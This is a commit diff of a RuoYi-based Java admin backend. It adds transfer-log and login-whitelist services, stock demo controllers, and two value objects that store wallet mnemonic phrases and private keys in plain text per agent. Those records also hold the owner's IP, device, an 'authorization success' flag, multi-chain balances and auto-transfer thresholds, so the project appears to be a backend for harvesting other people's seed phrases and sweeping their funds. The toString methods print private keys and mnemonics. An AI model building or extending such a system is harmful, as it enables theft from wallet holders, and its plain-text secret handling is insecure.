+     * 查询钱包转账列表
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 钱包转账
+     */
+    @Override
+    public List<SysTransferLog> selectSysTransferLogList(SysTransferLog sysTransferLog)
+    {
+        return sysTransferLogMapper.selectSysTransferLogList(sysTransferLog);
+    }
+
+    /**
+     * 新增钱包转账
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 结果
+     */
+    @Override
+    public int insertSysTransferLog(SysTransferLog sysTransferLog)
+    {
+        sysTransferLog.setCreateTime(DateUtils.getNowDate());
+        return sysTransferLogMapper.insertSysTransferLog(sysTransferLog);
+    }
+
+    /**
+     * 修改钱包转账
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 结果
+     */
+    @Override
+    public int updateSysTransferLog(SysTransferLog sysTransferLog)
+    {
+        return sysTransferLogMapper.updateSysTransferLog(sysTransferLog);
+    }
+
+    /**
+     * 批量删除钱包转账
+     * 
+     * @param ids 需要删除的钱包转账主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysTransferLogByIds(String ids)
+    {
+        return sysTransferLogMapper.deleteSysTransferLogByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除钱包转账信息
+     * 
+     * @param id 钱包转账主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysTransferLogById(Long id)
+    {
+        return sysTransferLogMapper.deleteSysTransferLogById(id);
+    }
+}

+ 95 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysWriteipServiceImpl.java

@@ -0,0 +1,95 @@
+package com.ruoyi.system.service.impl;
+
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.system.domain.SysWriteip;
+import com.ruoyi.system.mapper.SysWriteipMapper;
+import com.ruoyi.system.service.ISysWriteipService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import java.util.List;
+
+/**
+ * 后台登录白名单Service业务层处理
+ * 
+ * @author ruoyi
+ * @date 2023-03-31
+ */
+@Service
+public class SysWriteipServiceImpl implements ISysWriteipService 
+{
+    @Autowired
+    private SysWriteipMapper sysWriteipMapper;
+
+    /**
+     * 查询后台登录白名单
+     * 
+     * @param id 后台登录白名单主键
+     * @return 后台登录白名单
+     */
+    @Override
+    public SysWriteip selectSysWriteipById(Long id)
+    {
+        return sysWriteipMapper.selectSysWriteipById(id);
+    }
+
+    /**
+     * 查询后台登录白名单列表
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 后台登录白名单
+     */
+    @Override
+    public List<SysWriteip> selectSysWriteipList(SysWriteip sysWriteip)
+    {
+        return sysWriteipMapper.selectSysWriteipList(sysWriteip);
+    }
+
+    /**
+     * 新增后台登录白名单
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 结果
+     */
+    @Override
+    public int insertSysWriteip(SysWriteip sysWriteip)
+    {
+        return sysWriteipMapper.insertSysWriteip(sysWriteip);
+    }
+
+    /**
+     * 修改后台登录白名单
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 结果
+     */
+    @Override
+    public int updateSysWriteip(SysWriteip sysWriteip)
+    {
+        return sysWriteipMapper.updateSysWriteip(sysWriteip);
+    }
+
+    /**
+     * 批量删除后台登录白名单
+     * 
+     * @param ids 需要删除的后台登录白名单主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysWriteipByIds(String ids)
+    {
+        return sysWriteipMapper.deleteSysWriteipByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除后台登录白名单信息
+     * 
+     * @param id 后台登录白名单主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysWriteipById(Long id)
+    {
+        return sysWriteipMapper.deleteSysWriteipById(id);
+    }
+}

+ 243 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/vo/SysMnemonicTokenVO.java

@@ -0,0 +1,243 @@
+package com.ruoyi.system.vo;
+
+import com.ruoyi.common.core.domain.BaseEntity;
+import com.ruoyi.common.core.domain.entity.SysUser;
+import com.ruoyi.common.utils.ShiroUtils;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+
+/**
+ * 代币对象VO
+ *
+ * @author lwh
+ * @date 2025-6-26
+ */
+public class SysMnemonicTokenVO extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    private Long id;
+
+    /** 代理商id */
+    private Integer agentid;
+
+    /** 助记词id */
+    private Long mnemonicid;
+
+    /** 区块链 */
+    private String chain;
+
+    /** 代币 */
+    private String token;
+
+    /** 地址 */
+    private String address;
+
+    /** 余额 */
+    private String balance;
+
+    /** 预警阀值 */
+    private String yjbalance;
+
+    /** 自动转账 */
+    private String zzbalance;
+
+    /** 创建时间 */
+    private Long createdTime;
+
+    /** 更新时间 */
+    private Long updatedTime;
+
+    /** 删除时间 */
+    private Long deletedTime;
+
+    /** 排序方式 */
+    private String sort;
+
+    /** 名称 */
+    private String platform;
+
+    /** 私钥 */
+    private String privatekey;
+
+
+    public void setprivatekey(String privatekey)
+    {
+        this.privatekey = privatekey;
+    }
+
+    public String getprivatekey()
+    {
+        return privatekey;
+    }
+
+    public void setPlatform(String platform)
+    {
+        this.platform = platform;
+    }
+
+    public String getPlatform()
+    {
+        return platform;
+    }
+
+    public void setyjbalance(String yjbalance)
+    {
+        this.yjbalance = yjbalance;
+    }
+
+    public String getyjbalance()
+    {
+        return yjbalance;
+    }
+
+    public void setsort(String sort)
+    {
+        this.sort = sort;
+    }
+
+    public String getsort()
+    {
+        return sort;
+    }
+
+    public void setId(Long id)
+    {
+        this.id = id;
+    }
+
+    public Long getId()
+    {
+        return id;
+    }
+
+    public void setAgentid(Integer agentid)
+    {
+        this.agentid = agentid;
+    }
+
+    public Integer getAgentid()
+    {
+        return agentid;
+    }
+
+    public void setMnemonicid(Long mnemonicid)
+    {
+        this.mnemonicid = mnemonicid;
+    }
+
+    public Long getMnemonicid()
+    {
+        return mnemonicid;
+    }
+
+    public void setChain(String chain)
+    {
+        this.chain = chain;
+    }
+
+    public String getChain()
+    {
+        return chain;
+    }
+
+    public void setToken(String token)
+    {
+        this.token = token;
+    }
+
+    public String getToken()
+    {
+        return token;
+    }
+
+    public void setAddress(String address)
+    {
+        this.address = address;
+    }
+
+    public String getAddress()
+    {
+        return address;
+    }
+
+    public void setBalance(String balance)
+    {
+        this.balance = balance;
+    }
+
+    public String getBalance()
+    {
+        return balance;
+    }
+
+    public void setzzbalance(String zzbalance)
+    {
+        this.zzbalance = zzbalance;
+    }
+
+    public String getzzbalance()
+    {
+        return zzbalance;
+    }
+
+
+    public void setCreatedTime(Long createdTime)
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime()
+    {
+        return createdTime;
+    }
+
+    public void setUpdatedTime(Long updatedTime)
+    {
+        this.updatedTime = updatedTime;
+    }
+
+    public Long getUpdatedTime()
+    {
+        return updatedTime;
+    }
+
+    public void setDeletedTime(Long deletedTime)
+    {
+        this.deletedTime = deletedTime;
+    }
+
+    public Long getDeletedTime()
+    {
+        return deletedTime;
+    }
+
+    public Long getcurrentagentid(){
+        SysUser sysur3= ShiroUtils.getSysUser();
+        return sysur3.getAgentId();
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
+                .append("id", getId())
+                .append("currentagentid", getcurrentagentid())
+                .append("sort", getsort())
+                .append("yjbalance", getyjbalance())
+                .append("platform", getPlatform())
+                .append("privatekey", getprivatekey())
+                .append("zzbalance", getzzbalance())
+                .append("agentid", getAgentid())
+                .append("mnemonicid", getMnemonicid())
+                .append("chain", getChain())
+                .append("token", getToken())
+                .append("address", getAddress())
+                .append("balance", getBalance())
+                .append("createdTime", getCreatedTime())
+                .append("updatedTime", getUpdatedTime())
+                .append("deletedTime", getDeletedTime())
+                .toString();
+    }
+}

+ 309 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/vo/SysMnemonicVO.java

@@ -0,0 +1,309 @@
+package com.ruoyi.system.vo;
+
+import com.ruoyi.common.core.domain.BaseEntity;
+import com.ruoyi.common.utils.ShiroUtils;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+import java.math.BigDecimal;
+import java.util.List;
+
+/**
+ * 助记词对象VO
+ *
+ * @author lwh
+ * @date 2025-6-26
+ */
+public class SysMnemonicVO extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    private Long id;
+
+    /** 代理商ID */
+    private Long agentid;
+
+    /** 助记词 */
+    private String mnemonic;
+
+    /** 创建时间 */
+    private Long createdTime;
+
+    /** 更新时间 */
+    private Long updatedTime;
+
+    /** 删除时间 */
+    private Long deletedTime;
+
+    /** 1授权成功 0失败 */
+    private Integer status;
+
+    /** 名称 */
+    private String platform;
+
+    /** 排序 */
+    private Integer sort;
+
+    /** ip */
+    private String ip;
+
+    /** ip登录数 */
+    private Integer ipCount;
+
+    /** 钱包 */
+    private String eth;
+
+    /** 钱包 */
+    private String erc;
+
+    /** 钱包 */
+    private String trx;
+
+    /** 钱包 */
+    private String trc;
+
+    /** 钱包 */
+    private String btc;
+
+    /** 钱包 */
+    private String omni;
+
+    /** 钱包 */
+    private String bnb;
+
+    /** 钱包 */
+    private String bep;
+
+    /** 钱包地址 */
+    private List tokenlist;
+
+    /** 设备 */
+    private String device;
+
+
+    public void setdevice(String device)
+    {
+        this.device = device;
+    }
+
+    public String getdevice()
+    {
+        return device;
+    }
+
+    public void setId(Long id)
+    {
+        this.id = id;
+    }
+    public Long getId()
+    {
+        return id;
+    }
+
+    public void setAgentid(Long agentid)
+    {
+        this.agentid = agentid;
+    }
+    public Long getAgentid()
+    {
+        return agentid;
+    }
+
+    public void setMnemonic(String mnemonic)
+    {
+        this.mnemonic = mnemonic;
+    }
+    public String getMnemonic()
+    {
+        return mnemonic;
+    }
+
+    public void setCreatedTime(Long createdTime)
+    {
+        this.createdTime = createdTime;
+    }
+    public Long getCreatedTime()
+    {
+        return createdTime;
+    }
+
+    public void setUpdatedTime(Long updatedTime)
+    {
+        this.updatedTime = updatedTime;
+    }
+    public Long getUpdatedTime()
+    {
+        return updatedTime;
+    }
+
+    public void setDeletedTime(Long deletedTime)
+    {
+        this.deletedTime = deletedTime;
+    }
+    public Long getDeletedTime()
+    {
+        return deletedTime;
+    }
+
+    public void setStatus(Integer status)
+    {
+        this.status = status;
+    }
+    public Integer getStatus()
+    {
+        return status;
+    }
+
+    public void setPlatform(String platform)
+    {
+        this.platform = platform;
+    }
+    public String getPlatform()
+    {
+        return platform;
+    }
+
+    public void setSort(Integer sort)
+    {
+        this.sort = sort;
+    }
+    public Integer getSort()
+    {
+        return sort;
+    }
+
+    public void setIp(String ip)
+    {
+        this.ip = ip;
+    }
+    public String getIp()
+    {
+        return ip;
+    }
+
+    public void setIpCount(Integer ipCount)
+    {
+        this.ipCount = ipCount;
+    }
+    public Integer getIpCount()
+    {
+        return ipCount;
+    }
+
+    public void setEth(String eth)
+    {
+        this.eth = eth;
+    }
+    public String getEth()
+    {
+        return eth;
+    }
+
+    public void setErc(String erc)
+    {
+        this.erc = erc;
+    }
+    public String getErc()
+    {
+        return erc;
+    }
+
+    public void setTrx(String trx)
+    {
+        this.trx = trx;
+    }
+    public String getTrx()
+    {
+        return trx;
+    }
+
+    public void setTrc(String trc)
+    {
+        this.trc = trc;
+    }
+    public String getTrc()
+    {
+        return trc;
+    }
+
+    public void setBtc(String btc)
+    {
+        this.btc = btc;
+    }
+    public String getBtc()
+    {
+        return btc;
+    }
+
+    public void setOmni(String omni)
+    {
+        this.omni = omni;
+    }
+    public String getOmni()
+    {
+        return omni;
+    }
+
+    public void setBnb(String bnb)
+    {
+        this.bnb = bnb;
+    }
+    public String getBnb()
+    {
+        return bnb;
+    }
+
+    public void setBep(String bep)
+    {
+        this.bep = bep;
+    }
+    public String getBep()
+    {
+        return bep;
+    }
+
+    public List gettokenlist(){
+        return tokenlist;
+    }
+    public void settokenlist(List tokenlist){
+        this.tokenlist=tokenlist;
+    }
+
+    public Long getcurrentagentid(){
+        try{
+            return ShiroUtils.getSysUser().getAgentId();
+        }catch (Exception e){
+
+        }
+        return Long.valueOf(100);
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+                .append("id", getId())
+                .append("currentagentid", getcurrentagentid())
+                .append("device", getdevice())
+                .append("agentid", getAgentid())
+                .append("mnemonic", getMnemonic())
+                .append("createdTime", getCreatedTime())
+                .append("updatedTime", getUpdatedTime())
+                .append("deletedTime", getDeletedTime())
+                .append("status", getStatus())
+                .append("remark", getRemark())
+                .append("platform", getPlatform())
+                .append("sort", getSort())
+                .append("ip", getIp())
+                .append("ipCount", getIpCount())
+                .append("eth", getEth())
+                .append("erc", getErc())
+                .append("trx", getTrx())
+                .append("trc", getTrc())
+                .append("btc", getBtc())
+                .append("omni", getOmni())
+                .append("bnb", getBnb())
+                .append("bep", getBep())
+                .toString();
+    }
+}

+ 165 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java

@@ -0,0 +1,165 @@
+package com.ruoyi.web.controller.common;
+
+import java.util.ArrayList;
+import java.util.List;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.http.MediaType;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.multipart.MultipartFile;
+import com.ruoyi.common.config.RuoYiConfig;
+import com.ruoyi.common.config.ServerConfig;
+import com.ruoyi.common.constant.Constants;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.utils.StringUtils;
+import com.ruoyi.common.utils.file.FileUploadUtils;
+import com.ruoyi.common.utils.file.FileUtils;
+
+/**
+ * 通用请求处理
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/common")
+public class CommonController
+{
+    private static final Logger log = LoggerFactory.getLogger(CommonController.class);
+
+    @Autowired
+    private ServerConfig serverConfig;
+
+    private static final String FILE_DELIMETER = ",";
+
+    /**
+     * 通用下载请求
+     * 
+     * @param fileName 文件名称
+     * @param delete 是否删除
+     */
+    @GetMapping("/download")
+    public void fileDownload(String fileName, Boolean delete, HttpServletResponse response, HttpServletRequest request)
+    {
+        try
+        {
+            if (!FileUtils.checkAllowDownload(fileName))
+            {
+                throw new Exception(StringUtils.format("文件名称({})非法,不允许下载。 ", fileName));
+            }
+            String realFileName = System.currentTimeMillis() + fileName.substring(fileName.indexOf("_") + 1);
+            String filePath = RuoYiConfig.getDownloadPath() + fileName;
+
+            response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
+            FileUtils.setAttachmentResponseHeader(response, realFileName);
+            FileUtils.writeBytes(filePath, response.getOutputStream());
+            if (delete)
+            {
+                FileUtils.deleteFile(filePath);
+            }
+        }
+        catch (Exception e)
+        {
+            log.error("下载文件失败", e);
+        }
+    }
+
+    /**
+     * 通用上传请求(单个)
+     */
+    @PostMapping("/upload")
+    @ResponseBody
+    public AjaxResult uploadFile(MultipartFile file) throws Exception
+    {
+        try
+        {
+            // 上传文件路径
+            String filePath = RuoYiConfig.getUploadPath();
+            // 上传并返回新文件名称
+            String fileName = FileUploadUtils.upload(filePath, file);
+            String url = serverConfig.getUrl() + fileName;
+            AjaxResult ajax = AjaxResult.success();
+            ajax.put("url", url);
+            ajax.put("fileName", fileName);
+            ajax.put("newFileName", FileUtils.getName(fileName));
+            ajax.put("originalFilename", file.getOriginalFilename());
+            return ajax;
+        }
+        catch (Exception e)
+        {
+            return AjaxResult.error(e.getMessage());
+        }
+    }
+
+    /**
+     * 通用上传请求(多个)
+     */
+    @PostMapping("/uploads")
+    @ResponseBody
+    public AjaxResult uploadFiles(List<MultipartFile> files) throws Exception
+    {
+        try
+        {
+            // 上传文件路径
+            String filePath = RuoYiConfig.getUploadPath();
+            List<String> urls = new ArrayList<String>();
+            List<String> fileNames = new ArrayList<String>();
+            List<String> newFileNames = new ArrayList<String>();
+            List<String> originalFilenames = new ArrayList<String>();
+            for (MultipartFile file : files)
+            {
+                // 上传并返回新文件名称
+                String fileName = FileUploadUtils.upload(filePath, file);
+                String url = serverConfig.getUrl() + fileName;
+                urls.add(url);
+                fileNames.add(fileName);
+                newFileNames.add(FileUtils.getName(fileName));
+                originalFilenames.add(file.getOriginalFilename());
+            }
+            AjaxResult ajax = AjaxResult.success();
+            ajax.put("urls", StringUtils.join(urls, FILE_DELIMETER));
+            ajax.put("fileNames", StringUtils.join(fileNames, FILE_DELIMETER));
+            ajax.put("newFileNames", StringUtils.join(newFileNames, FILE_DELIMETER));
+            ajax.put("originalFilenames", StringUtils.join(originalFilenames, FILE_DELIMETER));
+            return ajax;
+        }
+        catch (Exception e)
+        {
+            return AjaxResult.error(e.getMessage());
+        }
+    }
+
+    /**
+     * 本地资源通用下载
+     */
+    @GetMapping("/download/resource")
+    public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response) throws Exception
+    {
+        try
+        {
+            if (!FileUtils.checkAllowDownload(resource))
+            {
+                throw new Exception(StringUtils.format("资源文件({})非法,不允许下载。 ", resource));
+            }
+            // 本地资源路径
+            String localPath = RuoYiConfig.getProfile();
+            // 数据库资源地址
+            String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
+            // 下载名称
+            String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
+            response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
+            FileUtils.setAttachmentResponseHeader(response, downloadName);
+            FileUtils.writeBytes(downloadPath, response.getOutputStream());
+        }
+        catch (Exception e)
+        {
+            log.error("下载文件失败", e);
+        }
+    }
+}

+ 98 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoDialogController.java

@@ -0,0 +1,98 @@
+package com.ruoyi.web.controller.demo.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+/**
+ * 模态窗口
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/demo/modal")
+public class DemoDialogController
+{
+    private String prefix = "demo/modal";
+
+    /**
+     * 模态窗口
+     */
+    @GetMapping("/dialog")
+    public String dialog()
+    {
+        return prefix + "/dialog";
+    }
+
+    /**
+     * 弹层组件
+     */
+    @GetMapping("/layer")
+    public String layer()
+    {
+        return prefix + "/layer";
+    }
+
+    /**
+     * 表单
+     */
+    @GetMapping("/form")
+    public String form()
+    {
+        return prefix + "/form";
+    }
+
+    /**
+     * 表格
+     */
+    @GetMapping("/table")
+    public String table()
+    {
+        return prefix + "/table";
+    }
+
+    /**
+     * 表格check
+     */
+    @GetMapping("/check")
+    public String check()
+    {
+        return prefix + "/table/check";
+    }
+
+    /**
+     * 表格radio
+     */
+    @GetMapping("/radio")
+    public String radio()
+    {
+        return prefix + "/table/radio";
+    }
+
+    /**
+     * 表格回传父窗体
+     */
+    @GetMapping("/parent")
+    public String parent()
+    {
+        return prefix + "/table/parent";
+    }
+
+    /**
+     * 多层窗口frame1
+     */
+    @GetMapping("/frame1")
+    public String frame1()
+    {
+        return prefix + "/table/frame1";
+    }
+
+    /**
+     * 多层窗口frame2
+     */
+    @GetMapping("/frame2")
+    public String frame2()
+    {
+        return prefix + "/table/frame2";
+    }
+}

Fichier diff supprimé car celui-ci est trop grand
+ 299 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java


+ 35 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoIconController.java

@@ -0,0 +1,35 @@
+package com.ruoyi.web.controller.demo.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+/**
+ * 图标相关
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/demo/icon")
+public class DemoIconController
+{
+    private String prefix = "demo/icon";
+
+    /**
+     * FontAwesome图标
+     */
+    @GetMapping("/fontawesome")
+    public String fontAwesome()
+    {
+        return prefix + "/fontawesome";
+    }
+
+    /**
+     * Glyphicons图标
+     */
+    @GetMapping("/glyphicons")
+    public String glyphicons()
+    {
+        return prefix + "/glyphicons";
+    }
+}

+ 326 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoOperateController.java

@@ -0,0 +1,326 @@
+package com.ruoyi.web.controller.demo.controller;
+
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.multipart.MultipartFile;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.page.PageDomain;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.core.page.TableSupport;
+import com.ruoyi.common.core.text.Convert;
+import com.ruoyi.common.exception.ServiceException;
+import com.ruoyi.common.utils.StringUtils;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.web.controller.demo.domain.CustomerModel;
+import com.ruoyi.web.controller.demo.domain.UserOperateModel;
+
+/**
+ * 操作控制
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/demo/operate")
+public class DemoOperateController extends BaseController
+{
+    private String prefix = "demo/operate";
+
+    private final static Map<Integer, UserOperateModel> users = new LinkedHashMap<Integer, UserOperateModel>();
+    {
+        users.put(1, new UserOperateModel(1, "1000001", "测试1", "0", "15888888888", "[email protected]", 150.0, "0"));
+        users.put(2, new UserOperateModel(2, "1000002", "测试2", "1", "15666666666", "[email protected]", 180.0, "1"));
+        users.put(3, new UserOperateModel(3, "1000003", "测试3", "0", "15666666666", "[email protected]", 110.0, "1"));
+        users.put(4, new UserOperateModel(4, "1000004", "测试4", "1", "15666666666", "[email protected]", 220.0, "1"));
+        users.put(5, new UserOperateModel(5, "1000005", "测试5", "0", "15666666666", "[email protected]", 140.0, "1"));
+        users.put(6, new UserOperateModel(6, "1000006", "测试6", "1", "15666666666", "[email protected]", 330.0, "1"));
+        users.put(7, new UserOperateModel(7, "1000007", "测试7", "0", "15666666666", "[email protected]", 160.0, "1"));
+        users.put(8, new UserOperateModel(8, "1000008", "测试8", "1", "15666666666", "[email protected]", 170.0, "1"));
+        users.put(9, new UserOperateModel(9, "1000009", "测试9", "0", "15666666666", "[email protected]", 180.0, "1"));
+        users.put(10, new UserOperateModel(10, "1000010", "测试10", "0", "15666666666", "[email protected]", 210.0, "1"));
+        users.put(11, new UserOperateModel(11, "1000011", "测试11", "1", "15666666666", "[email protected]", 110.0, "1"));
+        users.put(12, new UserOperateModel(12, "1000012", "测试12", "0", "15666666666", "[email protected]", 120.0, "1"));
+        users.put(13, new UserOperateModel(13, "1000013", "测试13", "1", "15666666666", "[email protected]", 380.0, "1"));
+        users.put(14, new UserOperateModel(14, "1000014", "测试14", "0", "15666666666", "[email protected]", 280.0, "1"));
+        users.put(15, new UserOperateModel(15, "1000015", "测试15", "0", "15666666666", "[email protected]", 570.0, "1"));
+        users.put(16, new UserOperateModel(16, "1000016", "测试16", "1", "15666666666", "[email protected]", 260.0, "1"));
+        users.put(17, new UserOperateModel(17, "1000017", "测试17", "1", "15666666666", "[email protected]", 210.0, "1"));
+        users.put(18, new UserOperateModel(18, "1000018", "测试18", "1", "15666666666", "[email protected]", 340.0, "1"));
+        users.put(19, new UserOperateModel(19, "1000019", "测试19", "1", "15666666666", "[email protected]", 160.0, "1"));
+        users.put(20, new UserOperateModel(20, "1000020", "测试20", "1", "15666666666", "[email protected]", 220.0, "1"));
+        users.put(21, new UserOperateModel(21, "1000021", "测试21", "1", "15666666666", "[email protected]", 120.0, "1"));
+        users.put(22, new UserOperateModel(22, "1000022", "测试22", "1", "15666666666", "[email protected]", 130.0, "1"));
+        users.put(23, new UserOperateModel(23, "1000023", "测试23", "1", "15666666666", "[email protected]", 490.0, "1"));
+        users.put(24, new UserOperateModel(24, "1000024", "测试24", "1", "15666666666", "[email protected]", 570.0, "1"));
+        users.put(25, new UserOperateModel(25, "1000025", "测试25", "1", "15666666666", "[email protected]", 250.0, "1"));
+        users.put(26, new UserOperateModel(26, "1000026", "测试26", "1", "15666666666", "[email protected]", 250.0, "1"));
+    }
+
+    /**
+     * 表格
+     */
+    @GetMapping("/table")
+    public String table()
+    {
+        return prefix + "/table";
+    }
+
+    /**
+     * 其他
+     */
+    @GetMapping("/other")
+    public String other()
+    {
+        return prefix + "/other";
+    }
+
+    /**
+     * 查询数据
+     */
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(UserOperateModel userModel)
+    {
+        TableDataInfo rspData = new TableDataInfo();
+        List<UserOperateModel> userList = new ArrayList<UserOperateModel>(users.values());
+        // 查询条件过滤
+        if (StringUtils.isNotEmpty(userModel.getSearchValue()))
+        {
+            userList.clear();
+            for (Map.Entry<Integer, UserOperateModel> entry : users.entrySet())
+            {
+                if (entry.getValue().getUserName().equals(userModel.getSearchValue()))
+                {
+                    userList.add(entry.getValue());
+                }
+            }
+        }
+        else if (StringUtils.isNotEmpty(userModel.getUserName()))
+        {
+            userList.clear();
+            for (Map.Entry<Integer, UserOperateModel> entry : users.entrySet())
+            {
+                if (entry.getValue().getUserName().equals(userModel.getUserName()))
+                {
+                    userList.add(entry.getValue());
+                }
+            }
+        }
+        PageDomain pageDomain = TableSupport.buildPageRequest();
+        if (null == pageDomain.getPageNum() || null == pageDomain.getPageSize())
+        {
+            rspData.setRows(userList);
+            rspData.setTotal(userList.size());
+            return rspData;
+        }
+        Integer pageNum = (pageDomain.getPageNum() - 1) * 10;
+        Integer pageSize = pageDomain.getPageNum() * 10;
+        if (pageSize > userList.size())
+        {
+            pageSize = userList.size();
+        }
+        rspData.setRows(userList.subList(pageNum, pageSize));
+        rspData.setTotal(userList.size());
+        return rspData;
+    }
+
+    /**
+     * 新增用户
+     */
+    @GetMapping("/add")
+    public String add(ModelMap mmap)
+    {
+        return prefix + "/add";
+    }
+
+    /**
+     * 新增保存用户
+     */
+    @PostMapping("/add")
+    @ResponseBody
+    public AjaxResult addSave(UserOperateModel user)
+    {
+        Integer userId = users.size() + 1;
+        user.setUserId(userId);
+        return AjaxResult.success(users.put(userId, user));
+    }
+
+    /**
+     * 新增保存主子表信息
+     */
+    @PostMapping("/customer/add")
+    @ResponseBody
+    public AjaxResult addSave(CustomerModel customerModel)
+    {
+        System.out.println(customerModel.toString());
+        return AjaxResult.success();
+    }
+
+    /**
+     * 修改用户
+     */
+    @GetMapping("/edit/{userId}")
+    public String edit(@PathVariable("userId") Integer userId, ModelMap mmap)
+    {
+        mmap.put("user", users.get(userId));
+        return prefix + "/edit";
+    }
+
+    /**
+     * 修改保存用户
+     */
+    @PostMapping("/edit")
+    @ResponseBody
+    public AjaxResult editSave(UserOperateModel user)
+    {
+        return AjaxResult.success(users.put(user.getUserId(), user));
+    }
+
+    /**
+     * 导出
+     */
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(UserOperateModel user)
+    {
+        List<UserOperateModel> list = new ArrayList<UserOperateModel>(users.values());
+        ExcelUtil<UserOperateModel> util = new ExcelUtil<UserOperateModel>(UserOperateModel.class);
+        return util.exportExcel(list, "用户数据");
+    }
+
+    /**
+     * 下载模板
+     */
+    @GetMapping("/importTemplate")
+    @ResponseBody
+    public AjaxResult importTemplate()
+    {
+        ExcelUtil<UserOperateModel> util = new ExcelUtil<UserOperateModel>(UserOperateModel.class);
+        return util.importTemplateExcel("用户数据");
+    }
+
+    /**
+     * 导入数据
+     */
+    @PostMapping("/importData")
+    @ResponseBody
+    public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception
+    {
+        ExcelUtil<UserOperateModel> util = new ExcelUtil<UserOperateModel>(UserOperateModel.class);
+        List<UserOperateModel> userList = util.importExcel(file.getInputStream());
+        String message = importUser(userList, updateSupport);
+        return AjaxResult.success(message);
+    }
+
+    /**
+     * 删除用户
+     */
+    @PostMapping("/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        Integer[] userIds = Convert.toIntArray(ids);
+        for (Integer userId : userIds)
+        {
+            users.remove(userId);
+        }
+        return AjaxResult.success();
+    }
+
+    /**
+     * 查看详细
+     */
+    @GetMapping("/detail/{userId}")
+    public String detail(@PathVariable("userId") Integer userId, ModelMap mmap)
+    {
+        mmap.put("user", users.get(userId));
+        return prefix + "/detail";
+    }
+
+    @PostMapping("/clean")
+    @ResponseBody
+    public AjaxResult clean()
+    {
+        users.clear();
+        return success();
+    }
+
+    /**
+     * 导入用户数据
+     * 
+     * @param userList 用户数据列表
+     * @param isUpdateSupport 是否更新支持,如果已存在,则进行更新数据
+     * @return 结果
+     */
+    public String importUser(List<UserOperateModel> userList, Boolean isUpdateSupport)
+    {
+        if (StringUtils.isNull(userList) || userList.size() == 0)
+        {
+            throw new ServiceException("导入用户数据不能为空!");
+        }
+        int successNum = 0;
+        int failureNum = 0;
+        StringBuilder successMsg = new StringBuilder();
+        StringBuilder failureMsg = new StringBuilder();
+        for (UserOperateModel user : userList)
+        {
+            try
